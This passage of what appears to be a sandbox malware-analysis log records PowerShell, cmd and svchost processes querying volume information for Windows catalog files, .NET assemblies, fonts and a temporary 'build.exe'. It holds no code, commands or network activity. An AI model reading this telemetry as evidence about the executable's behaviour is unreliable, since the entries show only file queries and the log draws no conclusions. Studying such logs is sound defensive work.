Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001420101\build.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001420101\build.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
